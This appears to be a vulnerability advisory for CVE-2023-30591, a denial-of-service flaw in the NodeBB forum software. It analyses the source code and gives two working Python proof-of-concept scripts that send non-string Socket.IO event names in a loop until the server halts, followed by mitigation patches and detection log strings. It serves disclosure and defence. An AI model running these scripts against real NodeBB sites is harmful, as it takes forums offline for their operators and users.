Summary:
Product | NodeBB |
---|---|
Vendor | NodeBB |
Severity | High - Unprivileged attackers are able to cause NodeBB to crash and exit permanently |
Affected Versions | < v2.8.11 (Commit 82f0efb) |
Tested Versions | v2.8.9 (Commit fb100ac) |
CVE Identifier | CVE-2023-30591 |
CVE Description | Denial-of-service in NodeBB <= v2.8.10 allows unauthenticated attackers to trigger a crash, when invoking eventName.startsWith() or eventName.toString() , while processing Socket.IO messages via crafted Socket.IO messages containing array or object type for the event name respectively. |
CWE Classification(s) | CWE-241: Improper Handling of Unexpected Data Type |
CAPEC Classification(s) | CAPEC-153: Input Data Manipulation |
CVSS3.1 Scoring System:
Base Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | None |
Integrity (I) | None |
Availability (A) | High |
Product Overview:
NodeBB is an open-source community forum platform built on Node.js with the addition of either a Redis, MongoDB, or PostgreSQL database. One of the features of the platform is the utilization of Socket.IO for instant interactions and real-time notifications.
Vulnerability Summary:
Due to improper parsing and handling of unexpected payloads supplied in Socket.IO messages, an unauthenticated attacker is able to send a malicious Socket.IO message to cause a NodeBB worker instance to crash. Although NodeBB’s cluster manager attempts to spawn a new replacement worker, it is possible to cause the NodeBB cluster manager to terminate after crashing NodeBB workers multiple times within a short span of time.
The vulnerability can be exploited by using an array as the Socket.IO event name to trigger a crash when invoking eventName.startsWith()
, or by using an object as the Socket.IO event name, and setting the toString
property, to trigger a crash when invoking eventName.toString()
.
Vulnerability Details:
NodeBB uses the Socket.IO library for enable bidirectional, event-based communication between clients and the server. Socket.IO typically uses WebSocket for communication, but supports HTTP long-polling as a fallback.
Crashing NodeBB Workers:
The vulnerability can be found in the Socket.IO message handler implemented in /src/socket.io/index.js
:
function onConnection(socket) {
...
socket.onAny((event, ...args) => {
const payload = { data: [event].concat(args) };
const als = require('../als');
als.run({ uid: socket.uid }, onMessage, socket, payload); // [1]
});
...
}
async function onMessage(socket, payload) {
...
const eventName = payload.data[0]; // [2]
...
const parts = eventName.toString().split('.'); // [3]
const namespace = parts[0];
const methodToCall = parts.reduce((prev, cur) => { // [4]
if (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {
return prev[cur];
}
return null;
}, Namespaces);
if (!methodToCall || typeof methodToCall !== 'function') { // [5]
...
return callback({ message: `[[error:invalid-event, ${escapedName}]]` }); // [6]
}
if (!eventName.startsWith('admin.') && ratelimit.isFlooding(socket)) { // [7]
winston.warn(`[socket.io] Too many emits! Disconnecting uid : ${socket.uid}. Events : ${socket.previousEvents}`);
return socket.disconnect();
}
...
}
At [1], the onMessage()
callback function is invoked with the payload
object containing the event
name and the args
arguments received. Observe that no type validation or coercion is performed on eventName
, and the eventName
is assumed to be of String
type.
At [2], the event name (e.g. topics.loadMoreTags
) is extracted from the payload
object.
At [3], the event name is converted to its string representation before splitting it into multiple parts. Subsequently, the Namespaces
object is traversed to get a reference of the event handler to be invoked and assigning it to methodToCall
at [4].
At [5], if methodToCall
is not a function, an error will be returned at [6].
At [7], eventName.startsWith('admin.')
is invoked. However, if eventName
is not a String
type, then eventName.startsWith('admin.')
throws a TypeError
as eventName.startsWith
is undefined
.
Interestingly, any data type may be used when supplying the event name in the Socket.IO message due to the following reasons:
- Socket.IO uses
JSON.parse()
to parse the user-supplied event name in the Socket.IO message. However, Socket.IO does not perform any validation on the event name, and assumes that the event name supplied by the user is ofString
type. Socket
objects in Socket.IO effectively extends from Node.js’EventEmitter
class, so most exposed API functions of Socket.IO socket objects rely on the implementation ofEventEmitter
.- The documentation for Node.js’s
EventEmitter
suggests that event names should either be ofString
orSymbol
type, but no type validation check is performed on the event name. - When storing event listeners (e.g. via
emitter.on()
) or looking up event listeners (e.g. viaemitter.emit()
), the event name supplied as argument is implicitly casted toString
type. - However, the original event name supplied as argument is passed to the event listener without type-casting.
- This results in user-supplied event names, which may be non-string values, within Socket.IO messages to be passed directly to event listeners.
To avoid the early termination at [6] and preventing the condition at [5] from returning true
, while still causing a TypeError
to be thrown at [7], an array with a single element can be used to supply the event name:
> const eventName = ["topics.loadMoreTags"];
> ["topics.loadMoreTags"].toString()
"topics.loadMoreTags"
> const parts = eventName.toString().split('.'); // [3]
["topics", "loadMoreTags"]
> eventName.startsWith // at [7]
undefined
Similarly, it is also possible to cause an uncaught exception earlier when invoking eventName.toString()
at [3] by supplying an object with the toString
property defined:
> const eventName = {"toString": 1};
> eventName.toString()
// TypeError
Crashing NodeBB Cluster Manager:
In /loader.js
, the cluster manager attempts to restart the workers which exited abnormally:
Loader.addWorkerEvents = function (worker) {
worker.on('exit', (code, signal) => {
if (code !== 0) {
if (Loader.timesStarted < numProcs * 3) {
Loader.timesStarted += 1;
if (Loader.crashTimer) {
clearTimeout(Loader.crashTimer);
}
Loader.crashTimer = setTimeout(() => {
Loader.timesStarted = 0;
}, 10000);
} else {
console.log(`${numProcs * 3} restarts in 10 seconds, most likely an error on startup. Halting.`);
process.exit(); // [8]
}
}
console.log(`[cluster] Child Process (${worker.pid}) has exited (code: ${code}, signal: ${signal})`);
if (!(worker.suicide || code === 0)) {
console.log('[cluster] Spinning up another process...');
forkWorker(worker.index, worker.isPrimary);
}
});
...
}
Finally, at [8], if too many workers exited abnormally within the hard-coded 10 seconds threshold, the cluster manager concludes that a startup error had occurred and will terminate itself as well, killing all NodeBB workers.
Since an attacker can cause NodeBB workers to exit abruptly at will, this enables the attacker to terminate NodeBB completely, causing persistent denial-of-service.
Exploit Conditions:
No additional constraints were identified. An unauthenticated attacker is expected to be able to execute this exploit scenario reliably.
Reproduction Steps:
Proof-of-Concept #1: DoS via Array Type for Socket.IO Event Name
- Install Socket.IO client for Python using:
pip install "python-socketio[client]"
. - Save the following proof-of-concept exploit script as
dos-via-array.py
:#!/usr/bin/env python3 import socketio import sys from time import sleep delay = 0.5 # in seconds def dos(target): sio = socketio.Client() sio.connect(f'{target}/socket.io') sio.emit(["topics.loadMoreTags"], {}) # reference any valid event handler within Namespaces def main(target): while True: try: dos(target) except KeyboardInterrupt: sys.exit(0) except: pass sleep(delay) if __name__ == '__main__': target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1] main(target)
- Ensure that NodeBB is started using
./nodebb start
. - Run the exploit script using
python3 dos-via-array.py http://<target-nodebb>:<port>
. - Observe that after a few seconds, NodeBB terminates with the following message observed in the output logs:
3 restarts in 10 seconds, most likely an error on startup. Halting.
Proof-of-Concept #2: DoS via Object Type for Socket.IO Event Name
- Install Socket.IO client for Python using:
pip install "python-socketio[client]"
- Save the following proof-of-concept exploit script as
dos-via-object.py
:#!/usr/bin/env python3 import socketio import sys from time import sleep delay = 0.5 # in seconds def dos(target): sio = socketio.Client() sio.connect(f'{target}/socket.io') sio.emit({"toString":0}, {}) # any object setting toString property def main(target): while True: try: dos(target) except KeyboardInterrupt: sys.exit(0) except: pass sleep(delay) if __name__ == '__main__': target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1] main(target)
- Ensure that NodeBB is started using
./nodebb start
. - Run the exploit script using
python3 dos-via-object.py http://<target-nodebb>:<port>
. - Observe that after a few seconds, NodeBB terminates with the following message observed in the output logs:
3 restarts in 10 seconds, most likely an error on startup. Halting.
Suggested Mitigations:
Implement a validation check to ensure that eventName
is of String
type before processing the message received. For example:
async function onMessage(socket, payload) {
...
+ if (typeof payload.data[0] !== "string") {
+ winston.warn('[socket.io] Non-string event name');
+ return socket.disconnect();
+ }
const eventName = payload.data[0];
...
}
It is also recommended to implement additional error handling to further prevent uncaught exceptions from crashing the NodeBB worker. For example:
function onConnection(socket) {
...
socket.onAny((event, ...args) => {
const payload = { data: [event].concat(args) };
const als = require('../als');
- als.run({ uid: socket.uid }, onMessage, socket, payload);
+ try {
+ als.run({ uid: socket.uid }, onMessage, socket, payload);
+ } catch (err) {
+ winston.error(`${event}\n${err.stack ? err.stack : err.message}`);
+ socket.disconnect();
+ }
});
...
}
Detection Guidance:
It is possible to search for the following error messages in NodeBB’s standard output/error and their respective log files to identify exploitation attempts of this vulnerability:
error: uncaughtException: eventName.toString is not a function
error: TypeError: eventName.toString is not a function
error: uncaughtException: eventName.startsWith is not a function
error: TypeError: eventName.startsWith is not a function
3 restarts in 10 seconds, most likely an error on startup. Halting.
Credits:
Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline:
- 2023-03-27 Vendor Disclosure
- 2023-03-27 Initial Vendor Contact
- 2023-03-28 Vendor Patch Release (v2.8.10) containing partial fix
- 2023-04-11 Vendor Patch Release (v2.8.11) completely fixing vulnerability
- 2023-09-29 Public Release